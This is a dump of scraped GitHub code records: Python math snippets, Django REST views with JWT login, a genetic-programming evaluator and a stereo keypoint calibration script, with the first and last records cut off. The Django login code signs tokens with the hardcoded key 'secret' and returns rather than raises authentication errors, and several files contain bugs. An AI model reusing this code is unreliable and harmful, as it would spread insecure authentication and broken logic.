lN]\n\n\n\nprint(V_prod(lV, lE))\n\n\nprint(lE)\nprint(lV)\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n","repo_name":"lenaindelaforetmagique/ProjectEuler","sub_path":"Python/PE389.py","file_name":"PE389.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"57611153","text":"from itertools import count\nfrom typing import List\n\nfrom ..is_prime import is_prime\n\n\ndef primes_up_to(n: int) -> List[int]:\n \"\"\"\n Returns a list of prime numbers from 2, up to n\n \"\"\"\n known = []\n candidates = primes()\n\n while len(known) < n:\n x = next(candidates)\n if is_prime(x):\n known.append(x)\n return known\n\n\ndef nth_prime(n):\n \"\"\"\n Returns the nth prime number\n \"\"\"\n known = primes_up_to(n)\n return known[n - 1]\n\n\ndef primes():\n yield 2\n yield 3\n for x in count(6, 6):\n yield x - 1\n yield x + 1\n","repo_name":"BrianLusina/PythonSnips","sub_path":"pymath/primes/nth_prime/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"435830397","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import generics\nfrom rest_framework.exceptions import AuthenticationFailed\nfrom .serializers import *\nfrom .models import *\nimport jwt, datetime\n\n\nfrom django.shortcuts import render\nfrom django.http.response import StreamingHttpResponse\nfrom EcomApp.camera import FaceDetect\n\ndef index(request):\n\treturn render(request, 'recognition/home.html')\n\ndef gen(camera):\n\twhile True:\n\t\tframe = camera.get_frame()\n\t\tyield (b'--frame\\r\\n'\n\t\t\t\tb'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n\\r\\n')\n\t\t\ndef facecam_feed(request):\n\treturn StreamingHttpResponse(gen(FaceDetect()),\n\t\t\t\t\tcontent_type='multipart/x-mixed-replace; boundary=frame')\n\n\nclass RegisterView(APIView):\n def post(self, request):\n serializer = UserSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return Response(serializer.data)\n \n\nclass LoginView(APIView):\n def post(self, request):\n email = request.data['email']\n password = request.data['password']\n\n user = User.objects.filter(email=email).first()\n\n if user is None:\n return AuthenticationFailed('User not Found')\n if not user.check_password(password):\n return AuthenticationFailed('Incorrect Password!')\n payload = {\n 'id': user.id,\n 'exp': datetime.datetime.now() + datetime.timedelta(minutes=60),\n 'iat': datetime.datetime.now()\n }\n\n token = jwt.encode(payload, 'secret', algorithm='HS256').decode('utf-8')\n\n response = Response()\n response.set_cookie(key='jwt', value=token, httponly=True)\n response.data = {\n 'jwt': token\n }\n\n return response\n \n\nclass UserView(APIView):\n def get(self, request):\n token = request.COOKIES.get('jwt')\n if not token:\n raise AuthenticationFailed('User not found!')\n try:\n payload = jwt.decode(token, 'secret', algorithm=['HS256'])\n except jwt.ExpiredSignatureError:\n raise AuthenticationFailed('Unauthenticated')\n user = User.objects.filter(id=payload['id']).first()\n serializer = UserSerializer(user)\n return Response(serializer.data)\n \nclass LogoutView(APIView):\n def post(self, request):\n response = Response()\n response.delete_cookie('jwt')\n response.data = {\n 'message': 'Successfully Logout'\n }\n return response\n \n\nclass Quiz(generics.ListAPIView):\n serializer_class = QuizSerializer\n queryset = Quizzes.objects.all()\n\n\nclass RandomQuesions(APIView):\n def get(self, request, format: None, **kwargs):\n question = Question.objects.filter(quiz__title=kwargs['topic']).order_by('?')[:1]\n serializer = RandomQuesionsSerializer(question, many = True)\n return Response(serializer.data)\n \n\nclass QuizQuesions(APIView):\n def get(self, request, format: None, **kwargs):\n question = Question.objects.filter(quiz__title=kwargs['topic']).order_by('?')[:1]\n serializer = QuizQuesionsSerializer(question, many = True)\n return Response(serializer.data)","repo_name":"develop-arnab/DjangoBackend","sub_path":"EcomApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14704300691","text":"\nvalueOfS = input()\n\ndef solvingFunction(valueOfS):\n\tnValue = len(valueOfS)\n\tgValue = 0\n\tbValue = 0\n\tfor i in range(nValue):\n\t\tif (valueOfS[i] == 'G'): gValue += 1\n\t\telse: bValue += 1\n\tif (gValue > bValue + 1 or bValue > gValue + 1): return -1\n\tif (nValue % 2):\n\t\tnum = (nValue + 1) / 2\n\t\tevenGValue = 0\n\t\tevenBValue = 0\n\t\tfor i in range(nValue):\n\t\t\tif (i % 2 == 0):\n\t\t\t\tif (valueOfS[i] == 'G'):\n\t\t\t\t\tevenGValue+=1\n\t\t\t\telse:\n\t\t\t\t\tevenBValue+=1\n\t\tif (gValue > bValue): return int(num - evenGValue)\n\t\telse: return int(num - evenBValue)\n\telse:\n\t\toddGValue = 0\n\t\tevenGValue = 0\n\t\tfor i in range(nValue):\n\t\t\tif (valueOfS[i] == 'G'):\n\t\t\t\tif (i % 2): \n\t\t\t\t\toddGValue+=1\n\t\t\t\telse: \n\t\t\t\t\tevenGValue+=1\n\t\treturn min(nValue // 2 - oddGValue, nValue // 2 - evenGValue)\n\nans = solvingFunction(valueOfS)\nprint(ans)","repo_name":"deVamshi/code","sub_path":"tcs/class_arrangement.py","file_name":"class_arrangement.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22772213190","text":"from enum import Enum\nimport math\nimport numpy as np\n\n\n###############\n# FUNCTIONS #\n###############\n\nN_FUNS = 15\n\nSUM = 0\nSUB = 1\nMUL = 2\nDIV = 3\nEQ = 4\nGRT = 5\nLRT = 6\nZER = 7\nEXP = 8\nLOG = 9\nABS = 10\nMIN = 11\nMAX = 12\nPOW = 13\nAFF = 14\n\n\nfuns_names = {SUM: '+',\n SUB: '-',\n MUL: '*',\n DIV: '/',\n ZER: 'ZER',\n EQ: '==',\n GRT: '>',\n LRT: '<',\n EXP: 'EXP',\n LOG: 'LOG',\n ABS: 'ABS',\n MIN: 'MIN',\n MAX: 'MAX',\n AFF: 'AFF',\n POW: '^'}\n\n\nnames_funs = {}\nfor fn, name in funs_names.items():\n names_funs[name] = fn\n\n\ndef str2fun(st):\n if st in names_funs:\n return names_funs[st]\n return None\n\n\ndef fun2str(func):\n if func in funs_names:\n return funs_names[func]\n return None\n\n\ndef fun_cond_pos(func):\n if func == ZER or func == AFF:\n return 1\n elif func == EQ or func == GRT or func == LRT:\n return 2\n else:\n return -1\n\n\ndef fun_arity(func):\n if func in {EXP, LOG, ABS}:\n return 1\n elif func in {SUM, SUB, MUL, DIV, MIN, MAX, POW}:\n return 2\n elif func in {ZER, AFF}:\n return 3\n elif func in {EQ, GRT, LRT}:\n return 4\n # this should not happen\n return 0\n\n\n###################\n# PROGRAM NODES #\n###################\n\nclass NodeType(Enum):\n FUN = 0\n VAR = 1\n VAL = 2\n\n\nclass NodeDynStatus(Enum):\n UNUSED = 0\n CONSTANT = 1\n DYNAMIC = 2\n\n\ndef create_val(val, prog, parent):\n node = Node(prog, parent)\n node.type = NodeType.VAL\n node.val = val\n return node\n\n\ndef create_var(var, prog, parent):\n node = Node(prog, parent)\n node.type = NodeType.VAR\n node.var = var\n return node\n\n\ndef create_fun(fun, prog, parent):\n node = Node(prog, parent)\n node.type = NodeType.FUN\n node.fun = fun\n node.condpos = fun_cond_pos(fun)\n node.stoppos = fun_arity(fun)\n return node\n\n\ndef create_random_node_tree(prog, prob_term, parent, min_depth, grow, depth):\n p = np.random.random()\n if ((not grow) or p > prob_term) and depth < min_depth:\n fun = np.random.randint(0, N_FUNS)\n node = create_fun(fun, prog, parent)\n for i in range(node.arity()):\n node.params.append(create_random_node_tree(prog, prob_term, node, min_depth, grow, depth + 1))\n else:\n if np.random.randint(0, 2) == 0 and prog.varcount > 0:\n var = np.random.randint(0, prog.varcount)\n node = create_var(var, prog, parent)\n else:\n r = np.random.randint(0, 10)\n if r == 0:\n val = 0.\n elif r > 5:\n val = np.random.randint(0, 10)\n else:\n val = np.random.random()\n node = create_val(val, prog, parent)\n return node\n\n\nclass Node(object):\n def __init__(self, prog, parent):\n self.prog = prog\n self.parent = parent\n self.params = []\n self.type = 0\n self.val = 0.\n self.var = 0\n self.fun = 0\n self.curval = 0.\n self.curpos = 0\n self.condpos = -1\n self.stoppos = 0\n self.branching = 0\n self.dyn_status = NodeDynStatus.UNUSED\n\n def clone(self, prog, parent):\n if self.type == NodeType.VAL:\n cnode = create_val(self.val, prog, parent)\n elif self.type == NodeType.VAR:\n cnode = create_var(self.var, prog, parent)\n else:\n cnode = create_fun(self.fun, prog, parent)\n cnode.curval = self.curval\n cnode.branching = self.branching\n cnode.dyn_status = self.dyn_status\n\n for param in self.params:\n cnode.params.append(param.clone(prog, cnode))\n\n return cnode\n\n def arity(self):\n if self.type == NodeType.FUN:\n return fun_arity(self.fun)\n else:\n return 0\n\n def size(self):\n s = 1\n for param in self.params:\n s += param.size()\n return s\n\n def node_by_pos(self, pos):\n if pos == 0:\n return self\n cur_pos = 1\n for i in range(len(self.params)):\n param = self.params[i]\n s = param.size()\n if pos < cur_pos + s:\n return param.node_by_pos(pos - cur_pos)\n cur_pos += s\n return None\n\n def branching_distance(self, node):\n distance = 0\n if self.branching != node.branching:\n distance += 1\n # TODO: check both have same number of params!\n for i in range(len(self.params)):\n distance += self.params[i].branching_distance2(node.params[i])\n return distance\n\n def clear_branching(self):\n self.branching = -1\n for param in self.params:\n param.clear_branching()\n\n def __str__(self):\n if self.type == NodeType.VAL:\n return str(self.val)\n elif self.type == NodeType.VAR:\n return '${}'.format(self.prog.var_names[self.var])\n elif self.type == NodeType.FUN:\n return fun2str(self.fun)\n else:\n return '???'\n\n\n##############\n# PROGRAMS #\n##############\n\ndef token_start(prog_str, pos):\n curpos = pos\n curchar = prog_str[curpos]\n while curchar in {' ', '\\n', '\\t', '\\r', ')', '(', 0}:\n curpos += 1\n curchar = prog_str[curpos]\n return curpos\n\n\ndef token_end(prog_str, pos):\n curpos = pos\n curchar = prog_str[curpos]\n while curchar not in {' ', '\\n', '\\t', '\\r', ')', '(', 0}:\n curpos += 1\n if curpos >= len(prog_str):\n return curpos\n curchar = prog_str[curpos]\n return curpos\n\n\ndef parse(prog_str, var_names, prog=None, parent=None):\n if prog is None:\n prog = Prog(var_names)\n\n start = token_start(prog_str, prog.parse_pos)\n end = token_end(prog_str, start)\n token = prog_str[start:end]\n\n try:\n val = float(token)\n node = create_val(val, prog, parent)\n except ValueError:\n if token[0] == '$':\n var = prog.variable_indices[token[1:]]\n node = create_var(var, prog, parent)\n else:\n fun = str2fun(token)\n node = create_fun(fun, prog, parent)\n\n prog.parse_pos = end\n\n for i in range(node.arity()):\n parse(prog_str, vars, prog, node)\n param = prog.root\n node.params.append(param)\n\n prog.root = node\n return prog\n\n prog.parse_pos = end\n\n prog.root = node\n return prog\n\n\ndef load(var_names, file_path):\n with open(file_path) as f:\n lines = f.readlines()\n lines = [x.strip() for x in lines]\n\n prog_str = ''\n for line in lines:\n if len(line) > 0 and line[0] != '#':\n prog_str += line\n\n return parse(prog_str, var_names)\n\n\ndef create_random(var_names, prob_term=.4, depth_low_limit=2, depth_high_limit=5, grow=None):\n if grow is None:\n grow = np.random.randint(0, 2) == 0\n max_depth = depth_low_limit + np.random.randint(0, depth_high_limit - depth_low_limit)\n prog = Prog(var_names)\n prog.root = create_random_node_tree(prog, prob_term, None, max_depth, grow, 0)\n return prog\n\n\nclass Prog(object):\n def __init__(self, var_names):\n self.varcount = len(var_names)\n self.vars = np.zeros(self.varcount)\n self.root = None\n self.var_names = var_names\n self.variable_indices = {}\n for i in range(self.varcount):\n self.variable_indices[var_names[i]] = i\n self.parse_pos = 0\n\n def clone(self):\n cprog = Prog(self.var_names)\n if self.root is not None:\n cprog.root = self.root.clone(cprog, None)\n return cprog\n\n def eval(self):\n curnode = self.root\n curnode.curpos = -1\n val = 0.\n\n while curnode is not None:\n curnode.curpos += 1\n if curnode.curpos < curnode.stoppos:\n if curnode.curpos == curnode.condpos:\n if curnode.fun == EQ:\n if curnode.params[0].curval == curnode.params[1].curval:\n curnode.stoppos = 3\n else:\n curnode.stoppos = 4\n curnode.curpos += 1\n elif curnode.fun == GRT:\n if curnode.params[0].curval > curnode.params[1].curval:\n curnode.stoppos = 3\n else:\n curnode.stoppos = 4\n curnode.curpos += 1\n elif curnode.fun == LRT:\n if curnode.params[0].curval < curnode.params[1].curval:\n curnode.stoppos = 3\n else:\n curnode.stoppos = 4\n curnode.curpos += 1\n elif curnode.fun == ZER:\n if curnode.params[0].curval == 0:\n curnode.stoppos = 2\n else:\n curnode.stoppos = 3\n curnode.curpos += 1\n elif curnode.fun == AFF:\n g = round(curnode.params[0].curval)\n id1 = round(self.vars[0])\n id2 = round(self.vars[1])\n if (g == 0) or ((id1 % g) == (id2 % g)):\n curnode.stoppos = 2\n else:\n curnode.stoppos = 3\n curnode.curpos += 1\n\n # update branching info\n if curnode.branching < 0:\n curnode.branching = curnode.stoppos\n elif curnode.branching != curnode.stoppos:\n curnode.branching = 0\n\n curnode = curnode.params[curnode.curpos]\n curnode.curpos = -1\n else:\n if curnode.type == NodeType.FUN:\n if curnode.fun == SUM:\n val = curnode.params[0].curval + curnode.params[1].curval\n elif curnode.fun == SUB:\n val = curnode.params[0].curval - curnode.params[1].curval\n elif curnode.fun == MUL:\n val = curnode.params[0].curval * curnode.params[1].curval\n elif curnode.fun == DIV:\n if curnode.params[1].curval == 0:\n val = 0\n else:\n val = curnode.params[0].curval / curnode.params[1].curval\n elif curnode.fun == MIN:\n val = curnode.params[0].curval\n if curnode.params[1].curval < val:\n val = curnode.params[1].curval\n elif curnode.fun == MAX:\n val = curnode.params[0].curval\n if curnode.params[1].curval > val:\n val = curnode.params[1].curval\n elif curnode.fun == EXP:\n try:\n val = math.exp(curnode.params[0].curval)\n except OverflowError:\n # TODO: not sure if best solution, but using\n # a very large float could lead to more overflows\n val = 0\n elif curnode.fun == LOG:\n if curnode.params[0].curval <= 0:\n val = 0\n else:\n val = math.log(curnode.params[0].curval)\n elif curnode.fun == ABS:\n val = abs(curnode.params[0].curval)\n elif curnode.fun == POW:\n try:\n val = math.pow(curnode.params[0].curval, curnode.params[1].curval)\n except OverflowError:\n # TODO: not sure if best solution, but using\n # a very large float could lead to more overflows\n val = 0\n except ValueError:\n val = 0\n elif curnode.fun in {EQ, GRT, LRT, ZER, AFF}:\n val = curnode.params[curnode.stoppos - 1].curval\n elif curnode.type == NodeType.VAR:\n val = self.vars[curnode.var]\n elif curnode.type == NodeType.VAL:\n val = curnode.val\n\n # update dynamic status\n if curnode.dyn_status == NodeDynStatus.UNUSED:\n curnode.dyn_status = NodeDynStatus.CONSTANT\n elif curnode.dyn_status == NodeDynStatus.CONSTANT:\n if curnode.curval != val:\n curnode.dyn_status = NodeDynStatus.DYNAMIC\n\n # update and move to next node\n curnode.curval = val\n curnode = curnode.parent\n\n return val\n\n def write(self, file_path):\n with open(file_path, 'w') as f:\n f.write(str(self))\n\n def size(self):\n return self.root.size()\n\n def node_by_pos(self, pos):\n return self.root.node_by_pos(pos)\n\n def recombine(self, parent2):\n if np.random.randint(0, 2) == 0:\n parent_a = parent2.clone()\n parent_b = self.clone()\n else:\n parent_b = parent2.clone()\n parent_a = self.clone()\n\n child = parent_a.clone()\n size1 = parent_a.size()\n size2 = parent_b.size()\n pos1 = np.random.randint(0, size1)\n pos2 = np.random.randint(0, size2)\n\n point1 = child.node_by_pos(pos1)\n point2 = parent_b.node_by_pos(pos2)\n point1parent = point1.parent\n\n parampos = 0\n\n # remove sub-tree from child\n # find point1 position in it's parent's param array\n if point1parent is not None:\n for i in range(point1parent.arity()):\n if point1parent.params[i] == point1:\n parampos = i\n\n # copy sub-tree from parent 2 to parent 1\n point2clone = point2.clone(child, point1parent)\n if point1parent is not None:\n point1parent.params[parampos] = point2clone\n else:\n child.root = point2clone\n\n return child\n\n def clear_branching(self):\n self.clear_branching()\n\n def branching_distance(self, prg):\n return self.root.branching_distance(prg.root)\n\n def compare_branching(self, prg):\n return self.branching_distance(prg) == 0\n\n def dyn_pruning(self, node=None, parent=None, param_pos=-1):\n if node is None:\n node = self.root\n else:\n # nodes with constant value\n if node.dyn_status == NodeDynStatus.CONSTANT:\n parent[param_pos] = create_val(node.curval, self, parent)\n\n # conditions with constant branching\n if node.condpos > 0:\n branch1 = node.params[node.condpos]\n branch2 = node.params[node.condpos + 1]\n\n branch = -1\n\n if branch1.dyn_status == NodeDynStatus.UNUSED:\n branch = node.condpos + 1\n elif branch2.dyn_status == NodeDynStatus.UNUSED:\n branch = node.condpos\n\n if branch > 0:\n node.params[branch].branching = node.branching\n node.params[branch].dyn_status = node.dyn_status\n parent[param_pos] = node.params[branch]\n\n for i in range(len(node.params)):\n self.dyn_pruning(node.params[i], node, i)\n\n def build_str(self, node, indent, cur_str):\n out = cur_str\n ind = indent\n\n if node.arity() > 0:\n if node.parent is not None:\n out = '{}\\n'.format(out)\n out = '{}{}('.format(out, ' ' * indent)\n ind += 1\n\n out = '{}{}'.format(out, node)\n\n for param in node.params:\n out = '{} '.format(out)\n out = self.build_str(param, ind, out)\n\n if node.arity() > 0:\n out = '{})'.format(out)\n\n return out\n\n def __str__(self):\n return self.build_str(self.root, 0, '')\n","repo_name":"telmomenezes/synthetic","sub_path":"synthetic/prog.py","file_name":"prog.py","file_ext":"py","file_size_in_byte":16415,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"78"} +{"seq_id":"19962244501","text":"import cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport math\nimport yaml\nfrom keypoint_utils import *\nfrom models.utils import scale_intrinsics, read_image, process_resize, make_matching_plot\nfrom visualize_errors import *\nimport time\nfrom os import listdir, system\nimport argparse\nfrom pathlib import Path\nimport torch\n\n# ground truth rotation and translation for KITTI\nkitti_R_gt = np.degrees(np.array([-0.0010622, -0.01971669, -0.02230844]))\nkitti_T_gt = np.array([-0.53267121, 0.00526146, -0.00782809])\n\ndevice = 'cuda' if torch.cuda.is_available() and not force_cpu else 'cpu'\n\n\ndef get_SuperGlue_keypoints(input_pair: str, out_dir: str, npz_name: str, max_keypoints: int, visualize: bool, \n resize: list, match_path_exists: bool):\n '''\n Gets the keypoints using SuperGlue feature matching.\n Inputs:\n - input_pair: name of text file for left/right pair\n - out_dir: directory where matches are stored after SuperGlue is run\n - npz_name: name of match file\n - max_keypoints: maximum number of matching keypoints that should be found\n - visualize: indicates whether or not to visualize the matches\n - resize: dimension to resize image\n - match_path_exists: indicates not to perform SuperGlue matching if the matches are already stored\n Outputs:\n - mkpts1: matched keypoints for left image\n - mkpts2: matched keypoints for right image\n '''\n if not match_path_exists:\n script = './match_pairs.py --input_dir {} --input_pairs {} --output_dir {} \\\n --superglue {} --max_keypoints {} --nms_radius 3 --resize_float'\n if visualize:\n script += ' --viz'\n if len(resize) == 2:\n script += ' --resize {} {}'\n system(script.format('data/', input_pair, out_dir, 'outdoor', max_keypoints, resize[0], resize[1]))\n elif len(resize) == 1:\n script += ' --resize {}'\n system(script.format('data/', input_pair, out_dir, 'outdoor', max_keypoints, resize[0]))\n\n mkpts1, mkpts2, confidences = parse_matches(\"data/matches/\" + npz_name + \"_matches.npz\")\n\n best_confidences = np.argsort(confidences)[-100:]\n return mkpts1[best_confidences], mkpts2[best_confidences]\n\n\ndef get_SIFT_keypoints(img1: np.ndarray, img2: np.ndarray, max_keypoints: int):\n '''\n Gets the keypoints using SIFT feature matching.\n Inputs:\n - img1: left image\n - img2: right image\n - max_keypoints: maximum number of matching keypoints that should be found\n Outputs:\n - mkpts1: matched keypoints for left image\n - mkpts2: matched keypoints for right image\n '''\n sift = cv.xfeatures2d.SIFT_create(max_keypoints)\n\n kp1, des1 = sift.detectAndCompute(img1, None)\n kp2, des2 = sift.detectAndCompute(img2, None)\n\n des1 = np.asarray(des1, np.float32)\n des2 = np.asarray(des2, np.float32)\n\n bf = cv.BFMatcher(cv.NORM_L1, crossCheck=True)\n\n matches_full_img = bf.match(des1, des2)\n matches_full_img = sorted(matches_full_img, key = lambda x:x.distance)\n matches_full_img = matches_full_img[:100]\n \n mkpts1 = np.array([kp1[m.queryIdx].pt for m in matches_full_img]) # queryIdx indexes des1 or kp1\n mkpts2 = np.array([kp2[m.trainIdx].pt for m in matches_full_img]) # trainIdx indexes\n\n return mkpts1, mkpts2\n\n\ndef get_ORB_keypoints(img1: np.ndarray, img2: np.ndarray, max_keypoints: int):\n '''\n Gets the keypoints using ORB feature matching.\n Inputs:\n - img1: left image\n - img2: right image\n - max_keypoints: maximum number of matching keypoints that should be found\n Outputs:\n - mkpts1: matched keypoints for left image\n - mkpts2: matched keypoints for right image\n '''\n orb = cv.ORB_create(max_keypoints)\n\n kp1, des1 = orb.detectAndCompute(img1, None)\n kp2, des2 = orb.detectAndCompute(img2, None)\n\n bf = cv.BFMatcher(cv.NORM_HAMMING, crossCheck=True)\n \n matches_full_img = bf.match(np.asarray(des1), np.asarray(des2))\n matches_full_img = sorted(matches_full_img, key = lambda x:x.distance)\n matches_full_img = matches_full_img[:100]\n\n mkpts1 = np.array([kp1[m.queryIdx].pt for m in matches_full_img]) # queryIdx indexes des1 or kp1\n mkpts2 = np.array([kp2[m.trainIdx].pt for m in matches_full_img]) # trainIdx indexes des2 or kp2\n \n return mkpts1, mkpts2 \n\n \ndef get_keypoints(img1: np.ndarray, img2: np.ndarray, max_keypoints: int, num_img: str, visualize: bool, \n resize: list, match_path_exists: bool, dataset: str, mode: str):\n '''\n Retrieves pose from the keypoints of the images based on the given keypoint matching algorithm. \n Inputs:\n - img1: left image (undistorted)\n - img2: right image (undistorted)\n - max_keypoints: maximum number of keypoints matching tool should consider\n - num_img: frame number\n - visualize: indicates whether visualizations should be done and saved\n - resize: dimensions at which images should be resized \n - match_path_exists: indicates for SuperGlue if there are saved matches or if it should redo the matches\n - mode: keypoint matching algorithm in use\n - dataset: current dataset being evaluated\n Outputs:\n - R: recovered rotation matrix\n - T: recovered translation vector\n - mkpts1: matched keypoints in left image\n - mkpts2: matched keypoints in right image\n '''\n\n left, _inp, left_scale = read_image(img1, device, resize, 0, False)\n right, _inp, right_scale = read_image(img2, device, resize, 0, False)\n left = left.astype('uint8')\n right = right.astype('uint8')\n\n i1, K1, distCoeffs1 = read(\"data/intrinsics/\" + dataset + \"_left.yaml\")\n i2, K2, distCoeffs2 = read(\"data/intrinsics/\" + dataset + \"_right.yaml\")\n\n K1 = scale_intrinsics(K1, left_scale)\n K2 = scale_intrinsics(K2, right_scale)\n\n if mode == \"superglue\":\n input_pair = \"data/pairs/kitti_pairs_\" + num_img + \".txt\"\n npz_name = \"left_\" + num_img + \"_right_\" + num_img\n out_dir = \"data/matches/\"\n mkpts1, mkpts2 = get_SuperGlue_keypoints(input_pair, out_dir, npz_name, max_keypoints, visualize, \n resize, match_path_exists)\n elif mode == \"sift\":\n mkpts1, mkpts2 = get_SIFT_keypoints(left, right, max_keypoints)\n elif mode == \"orb\":\n mkpts1, mkpts2 = get_ORB_keypoints(left, right, max_keypoints)\n\n R, T, F, _E = recover_pose(mkpts1, mkpts2, K1, K2)\n\n left_rectified, right_rectified = rectify(left, right, K1, distCoeffs1, K2, distCoeffs2, R, kitti_T_gt) \n\n if visualize: \n text = [mode, \"Best 100 of \" + str(max_keypoints) + \" keypoints\"]\n colors = np.array(['red'] * len(mkpts1))\n res_path = str(\"results/matches/\" + mode + \"/\")\n match_dir = Path(res_path)\n match_dir.mkdir(parents=True, exist_ok=True)\n path = res_path + dataset + \"_\" + mode + \"_matches_\" + num_img + \".png\"\n make_matching_plot(left, right, mkpts1, mkpts2, mkpts1, mkpts2,\n colors, text, path, show_keypoints=False,\n fast_viz=False, opencv_display=False,\n opencv_title='matches', small_text=[])\n\n\n save_disp_path = \"results/disparity/\" + mode + \"/\"\n disp_dir = Path(save_disp_path)\n disp_dir.mkdir(parents=True, exist_ok=True)\n disp = get_disparity(left_rectified, right_rectified, maxDisparity=128)\n plt.imsave(save_disp_path + dataset + \"_\" + mode + \"_disp_\" + num_img + \".png\", disp, cmap=\"jet\")\n\n return R, T, mkpts1, mkpts2\n\n\ndef parse_args():\n '''\n Parses arguments from the command line.\n\n '''\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\n \"--modes\", type=str, nargs=\"+\", default=[\"superglue\"], help=\"keypoint matching algorithms (orb, sift, or superglue)\"\n )\n parser.add_argument(\n \"--datasets\", type=str, nargs=\"+\", default=[\"kitti\"], help=\"dataset(s) being evaluated\"\n )\n parser.add_argument(\n \"--resize\", type=int, nargs=\"+\", default=[1600],\n help=\"one or two numbers for determining new dimensions; can input -1 to not resize\"\n )\n parser.add_argument(\n \"--max_keypoints\", type=int, default=500, help=\"maximum keypoints matchers can find, must be greater than 100\"\n )\n parser.add_argument(\n \"--do_eval\", action=\"store_true\", help=\"perform error evaluations\"\n )\n parser.add_argument(\n \"--visualize\", action=\"store_true\", help=\"perform and save disparity and match visualizations\"\n )\n parser.add_argument(\n \"--match_path_exists\", action=\"store_true\", help=\"indicate if superglue matches already exist\"\n )\n\n opt = parser.parse_args()\n\n if len(opt.modes) == 0 or len(opt.datasets) == 0:\n raise ValueError(\"Must provide at least one string value for --modes and --datasets\")\n elif opt.max_keypoints < 100:\n raise ValueError(\"--max_keypoints must be at least 100\")\n \n return opt.modes, opt.datasets, opt.do_eval, opt.visualize, opt.max_keypoints, opt.resize, opt.match_path_exists\n\n\n\nif __name__ == \"__main__\":\n modes, datasets, do_eval, visualize, max_keypoints, resize, match_path_exists = parse_args()\n \n frame_matches_per_mode = {}\n\n for dataset in datasets:\n filenames = listdir(\"data/imgs\")\n img_nums = np.arange(0, int(len(filenames)/2)).astype(str)\n img_nums = [img_nums[i].zfill(3) for i in range(len(img_nums))]\n for num in img_nums:\n frame_matches_per_mode[num] = []\n \n R_ests = []\n times_per_mode = []\n for mode in modes:\n times = []\n Rs = []\n total_pitch = 0\n total_yaw = 0\n total_roll = 0\n\n for i in range(len(img_nums)):\n img1_path = \"data/imgs/left_\" + img_nums[i] + \".png\"\n img2_path = \"data/imgs/right_\" + img_nums[i] + \".png\"\n\n start = time.time()\n R, T, mkpts1, mkpts2 = get_keypoints(img1_path, img2_path, max_keypoints, img_nums[i], visualize, \n resize, match_path_exists, dataset, mode)\n end = time.time()\n times.append(end - start)\n\n R_degrees = np.degrees(rotm2euler(R))\n Rs.append(R_degrees)\n\n total_pitch += R_degrees[0]\n total_yaw += R_degrees[1]\n total_roll += R_degrees[2]\n\n frame_matches_per_mode[img_nums[i]].append([mkpts1, mkpts2])\n print(\"finished pair \" + str(i))\n\n R_ests.append(Rs)\n times_per_mode.append(times)\n \n if do_eval:\n total_pitch /= len(img_nums)\n total_yaw /= len(img_nums)\n total_roll /= len(img_nums)\n\n R_avg = euler2rotm(np.radians(np.array([total_pitch, total_yaw, total_roll])))\n\n left = cv.imread(\"data/imgs/left_000.png\", 0)\n right = cv.imread(\"data/imgs/right_000.png\", 0)\n i1, K1, distCoeffs1 = read(\"data/intrinsics/\" + dataset + \"_left.yaml\")\n i2, K2, distCoeffs2 = read(\"data/intrinsics/\" + dataset + \"_right.yaml\")\n\n left_rectified, right_rectified = rectify(left, right, K1, distCoeffs1, K2, distCoeffs2, R_avg, kitti_T_gt) \n\n disp = get_disparity(left_rectified, right_rectified, maxDisparity=128)\n save_disp_path = \"results/disparity/\" + mode + \"/\"\n disp_dir = Path(save_disp_path)\n disp_dir.mkdir(parents=True, exist_ok=True)\n plt.imsave(save_disp_path + dataset + \"_\" + mode + \"_avg_pose_disp.png\", disp, cmap=\"jet\")\n\n\n if do_eval:\n show_errors(R_ests, kitti_R_gt, dataset, modes)\n\n left_imgs = []\n right_imgs = []\n for i in range(len(img_nums)):\n img1_path = \"data/imgs/left_\" + img_nums[i] + \".png\"\n img2_path = \"data/imgs/right_\" + img_nums[i] + \".png\"\n\n left, _inp, _left_scale = read_image(img1_path, device, resize, 0, False)\n right, _inp, _right_scale = read_image(img2_path, device, resize, 0, False)\n \n left_imgs.append(left)\n right_imgs.append(right)\n \n visualize_match_distribution(left_imgs, right_imgs, frame_matches_per_mode, modes, dataset, img_nums)\n \n if not visualize and not match_path_exists:\n plot_times(dataset, times_per_mode, modes)\n \n frame_matches_per_mode.clear()\n print(\"finished \" + dataset)\n","repo_name":"nodarsensor/medium-keypoint-autocal","sub_path":"run_keypoint_autocal.py","file_name":"run_keypoint_autocal.py","file_ext":"py","file_size_in_byte":12736,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"15631088947","text":"from django.contrib import admin\nfrom django.urls import path\nfrom master.views import (MasterHome,VendorManagement,\n\tAddVendor,CategoryManagement,\n\tAddCategory,OrderDetails,\n\tUserDetails,VendorUpdate,CategoryUpdate,\n\tLoginView)\nfrom master import views\nurlpatterns = [\n\tpath('login',LoginView.as_view(), name = 'login'),\n\tpath(r'master/',MasterHome.as_view(),name='master_home'),\n\tpath('vendor_management',VendorManagement.as_view(), name = 'vendor_management'),\n\tpath('vendor_edit/<int:pk>/',VendorUpdate.as_view(), name = 'vendor_edit'),\n\tpath('add_vendor/',AddVendor.as_view(), name = 'add_vendor'),\n\tpath('delete_vendor/<str:vendor_id>/',views.delete_vendor, name = 'delete_vendor'),\n\tpath('category_management',CategoryManagement.as_view(), name = 'category_management'),\n\tpath('category_edit/<int:pk>/',CategoryUpdate.as_view(), name = 'category_edit'),\n\tpath('add_category',AddCategory.as_view(), name = 